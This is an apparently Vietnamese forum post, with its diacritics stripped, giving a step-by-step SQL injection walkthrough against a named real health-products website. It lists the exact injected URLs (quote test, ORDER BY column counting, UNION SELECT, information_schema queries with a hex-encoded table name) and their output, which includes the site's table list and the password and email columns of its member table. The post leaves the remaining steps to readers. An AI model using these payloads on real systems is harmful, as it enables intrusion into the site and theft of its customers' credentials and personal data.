Khai thc sql dng HTML victim ln ny l: http://www.worldwide...ticles-261.html Thm du ' vo sau nhng con s http://www.worldwidehealthcenter.net/articles-261'.

html haha li ri Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/whc/www/articles.php on line 16 Warning: Cannot modify header information - headers already sent by (output started at /home/whc/www/articles.php:16) in /home/whc/www/include.php on line 432 Bt u order by http://www.worldwide...et/articles-261 order by 1-- -.html >>ok http://www.worldwide...et/articles-261 order by 7-- -.html >> ok http://www.worldwide...et/articles-261 order by 8-- -.html >> bao loi >>8-1=7 nh by h union select : http://www.worldwide...et/articles-261 union select 1,2,3,4,5,6,7-- -.html ui s m u ht ri: , view source , chng thy g ht chn. Ght qu thay s bng null xem 261=null http://www.worldwide...t/articles-null union select 1,2,3,4,5,6,7-- -.html ui ra ri 2 v 3 nh Tm cc thng tin :version(),database(),user() http://www.worldwide...t/articles-null union select 1,2,version(),4,5,6,7-- -.html Tip theo tm table name http://www.worldwide...t/articles-null union select 1,2,group_concat(table_name),4,5,6,7 from information_schema.tables where table_schema=database()-- -.html 1 ng :

adprice,artcat,articles,banners,brands,bulktemp,ca tegories,clickthrus,concerns,countries,directory,d irectorybak,directorystats,discount,distributorord er,emailaddresses,exchange,iptoc,keywords,loyalty, member,memberbak,memberbak2,message,ocountries,ord eritems,orders,ordersbak,postal,practcat,products, productsbak,purchaseorders,retaildiscount,ship,shi pdiscount,shipping,states,static,subscribers,suppl iers Tm table cha thng tin y nhu ci qu mnh lon, thi mnh tm table member nh member=0x6d656d626572 (conver to hex nh) get column http://www.worldwide...t/articles-null union select 1,2,group_concat(column_name),4,5,6,7 from information_schema.columns where table_schema=database() and table_name=0x6d656d626572-- -.html li ra 1 ng : id,password,email,title,firstname,surname,company, address,city,state,postal,shoppercountry,tel,fax,s ameshipadd,shiptitle,shipfirstname,shipsurname,shi pcompany,shipaddress,shipcity,shipstate,country,sh ippostal,shiptel,shipfax,advertise,dateemailed,typ e Ti y l c ri, mi ci cn li n gin , ae lm nh